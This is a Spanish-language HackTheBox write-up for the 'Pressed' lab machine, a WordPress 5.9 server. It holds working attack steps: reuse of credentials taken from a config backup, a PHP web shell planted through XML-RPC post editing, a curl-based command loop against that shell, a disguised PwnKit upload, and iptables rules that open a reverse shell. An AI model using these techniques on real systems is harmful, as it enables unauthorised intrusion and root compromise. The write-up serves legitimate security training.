Pressed – HackTheBox

Lo primero que haces es comprobar la conexión con la máquina:

ping -c 1 10.10.11.142
PING 10.10.11.142 (10.10.11.142) 56(84) bytes of data.
64 bytes from 10.10.11.142: icmp_seq=1 ttl=63 time=196 ms

--- 10.10.11.142 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 196.447/196.447/196.447/0.000 ms

Ya vemos que por el TTL es una máquina Linux. Procedemos ahora con los escaneos nmap:

nmap -p- --open --min-rate 5000 -vvv -n -sS -Pn 10.10.11.142 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:39 CEST
Initiating SYN Stealth Scan at 08:39
Scanning 10.10.11.142 [65535 ports]
Discovered open port 80/tcp on 10.10.11.142
Completed SYN Stealth Scan at 08:40, 26.34s elapsed (65535 total ports)
Nmap scan report for 10.10.11.142
Host is up, received user-set (0.050s latency).
Scanned at 2022-10-03 08:39:52 CEST for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Y el segundo:

nmap -sCV -p80 10.10.11.142 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:40 CEST
Nmap scan report for 10.10.11.142
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.9
|_http-title: UHC Jan Finals – New Month, New Boxes
|_http-server-header: Apache/2.4.41 (Ubuntu)

Al ver que tiene el puerto 80 abierto:

whatweb http://10.10.11.142
http://10.10.11.142 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.142], JQuery[3.6.0], MetaGenerator[WordPress 5.9], Script[text/javascript], Title[UHC Jan Finals – New Month, New Boxes], UncommonHeaders[link], WordPress[5.9]

También podemos lanzar un escaneo con nmap para que detecte los ficheros y directorios más comunes:

nmap --script http-enum -p80,443 10.10.11.142 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 08:44 CEST
Nmap scan report for 10.10.11.142
Host is up (0.14s latency).

PORT    STATE    SERVICE
80/tcp  open     http
| http-enum: 
|   /wp-login.php: Possible admin folder
|   /readme.html: WordPress version: 2 
|   /: WordPress version: 5.9
|   /wp-includes/images/rss.png: WordPress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: WordPress version 2.5 found.
|   /wp-includes/images/blank.gif: WordPress version 2.6 found.
|   /wp-includes/js/comment-reply.js: WordPress version 2.7 found.
|   /wp-login.php: WordPress login page.
|   /wp-admin/upgrade.php: WordPress login page.
|_  /readme.html: Interesting, a readme.
443/tcp filtered https

Con esto ya sabemos que se trata de un WP versión 5.9. Vamos a ver que hay dentro de ese WordPress:

Una vez vemos eso en el post que tiene subido la web añadimos el dominio al fichero /etc/hosts. Tambien vemos que la ruta pressed.htb/wp-admin nos permite acceder al login del WP y si probamos con varios usuarios vemos que con el user «admin» nos indica que la contraseña es incorrecta. Dando a entender que el usuario si existe.

Lanzamos un escaneo con wpscan:

wpscan --url "http://pressed.htb"
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.21
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://pressed.htb/ [10.10.11.142]
[+] Started: Mon Oct  3 08:57:06 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://pressed.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://pressed.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://pressed.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://pressed.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | Found By: Rss Generator (Passive Detection)
 |  - http://pressed.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.9</generator>
 |  - http://pressed.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.9</generator>

[+] WordPress theme in use: retrogeek
 | Location: http://pressed.htb/wp-content/themes/retrogeek/
 | Last Updated: 2022-04-23T00:00:00.000Z
 | Readme: http://pressed.htb/wp-content/themes/retrogeek/README.txt
 | [!] The version is out of date, the latest version is 0.6
 | Style URL: http://pressed.htb/wp-content/themes/retrogeek/style.css?ver=42
 | Style Name: RetroGeek
 | Style URI: https://tuxlog.de/retrogeek/
 | Description: A lightweight, minimal, fast and geeky retro theme remembering the good old terminal times...
 | Author: tuxlog
 | Author URI: https://tuxlog.de/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 0.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://pressed.htb/wp-content/themes/retrogeek/style.css?ver=42, Match: 'Version: 0.5'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:02 <===========================> (137 / 137) 100.00% Time: 00:00:02

[i] Config Backup(s) Identified:

[!] http://pressed.htb/wp-config.php.bak
 | Found By: Direct Access (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Oct  3 08:57:14 2022
[+] Requests Done: 189
[+] Cached Requests: 5
[+] Data Sent: 45.618 KB
[+] Data Received: 19.021 MB
[+] Memory used: 240.414 MB
[+] Elapsed time: 00:00:08

Como vemos, el wp-content/uploads/ es visible y podemos obtener con wget -r
http://pressed.htb/wp-content/uploads

Además nos ha detectado el siguiente fichero: http://pressed.htb/wp-config.php.bak. Lo descargamos y podemos sacar un usuario, que cuadra con el de WP y una contraseña:

admin:uhc-jan-finals-2021

Al probarlas da error pero, como estamos en 2022, probamos si esa corrigiendo el año si nos permite acceder. Aunque, lamentablemente, tiene un plugin de doble autenticación.

Revisamos si se nos ha pasado algo en el escaneo y vemos que tenemos acceso por http://pressed.htb/xmlrpc.php. XMLRPC permite administrar el wordpress de forma remota a través de php

Por ejemplo, si ejecutamos lo siguiente nos devolverá los métodos que tiene permitido el WP para hacerlo

curl -s -X POST "http://pressed.htb/xmlrpc.php" -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"

Por lo que pasamos a usar python para hacerlo.

>>> from wordpress_xmlrpc import Client
>>> from wordpress_xmlrpc.methods import posts
>>> client = Client("http://pressed.htb/xmlrpc.php", 'admin', 'uhc-jan-finals-2022')
>>> post = client.call(posts.GetPosts())
>>> post
[<WordPressPost: b'UHC January Finals Under Way'>]
>>> post[0].content
'<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
>>>

En el post del blog vemos que nos ofrecía información en vivo sobre las peticiones que hacíamos sobre la web y en el texto anterior vemos como lo hace, pero es un código en base64 por lo que lo copiamos y haremos lo siguiente:

 echo "JTNDJTNGcGhwJTIwJTIwZWNobyhmaWxlX2dldF9jb250ZW50cygnJTJGdmFyJTJGd3d3JTJGaHRtbCUyRm91dHB1dC5sb2cnKSklM0IlMjAlM0YlM0U" | base64 -d;echo
%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3Ebase64: entrada inválida

❯ php --interactive
Interactive mode enabled

php > echo urldecode("%3C%3Fphp%20%20echo(file_get_contents('%2Fvar%2Fwww%2Fhtml%2Foutput.log'))%3B%20%3F%3E");
<?php  echo(file_get_contents('/var/www/html/output.log')); ?>
php >

Entonces lo que vamos a hacer es editar el post para poner ejecutar comandos a través de una REQUEST que le mandemos. Primero creamos el script en php:

<?php
echo "<pre>". shell_exec($_REQUEST['cmd'])."</pre>";
?>

En segundo lugar lo pasamos a base64 y modificamos el post:

>>> malicious_post= post[0]
>>> malicious_post.content = '<!-- wp:paragraph -->\n<p>The UHC January Finals are underway!  After this event, there are only three left until the season one finals in which all the previous winners will compete in the Tournament of Champions. This event a total of eight players qualified, seven of which are from Brazil and there is one lone Canadian.  Metrics for this event can be found below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:php-everywhere-block/php {"code":"PD9waHAKCWVjaG8gIjxwcmU+Ii5zaGVsbC5leGVjKCRfUkVRVUVTVFsnY21kJ10pLiI8L3ByZT4iOwo/Pgo=","version":"3.0.0"} /-->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->'
>>> client.call(posts.EditPost(malicious_post.id, malicious_post))
True
>>>

Si ahora vamos a la página del post podremos hacer lo siguiente:

Lamentablemente no podemos entablar una reverse shell ya que la máquina tiene reglas IpTables para bloquarlo por lo que vamos a inventar la nuestra con el siguiente script:


#!/bin/bash
 
function ctrl_c(){
    echo -e "\n\n [+]Saliendo .... \n"
    exit 1
}
 
#Ctrl + c
trap ctrl_c INT
 
main_url="http://pressed.htb/index.php/2022/01/28/hello-world/?cmd="
 
while [ "$command" != "exit" ]; do
 
echo -n "$~ " && read -r command
command="$(echo $command | tr ' ' '+')"
curl -s -X GET "$main_url$command" | grep "<pre>" -A 100 | grep "</pre>" -B 100 | sed 's/<pre
>//' | sed 's/<\/pre>//' | sed 's/shell//'
done

Esta shell tiene sus limitaciones pero podemos obtener la flag del user.

Para escalar privilegios lo que hacemos es emplear la vulnearbilidad de pkexec:

which pkexec | xargs ls -l
-rwsr-xr-x 1 root root 23440 Jul 14  2021 /usr/bin/pkexec

Utilizamos este repositorio para ello: https://github.com/kimusan/pkwner/blob/main/pkwner.sh

Descargamos el contenido y lo subimos a la máquina víctima a través de xmlrpc:

>>> with open("pkwner.sh", "r") as f:
...  filename = f.read()
...
>>> data_to_upload = {'name': 'pkwner.png', 'bits': filename, 'type': 'text/plain'}
>>> client.call(media.UploadFile(data_to_upload))

A la hora de subirlo si, introducimos los siguientes comandos:

/code

iptables -A INPUT -p tcp -d 10.10.14.5 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.10.14.5 -j ACCEP

Así podremos establecer una reverse shell para trabajar más comodos y para finalizar, utizaremos el script que hemos subido a la máquina víctima. Por último, ejecutamos dicho script con el comando «/bin/bash», obteniendo así una bash como root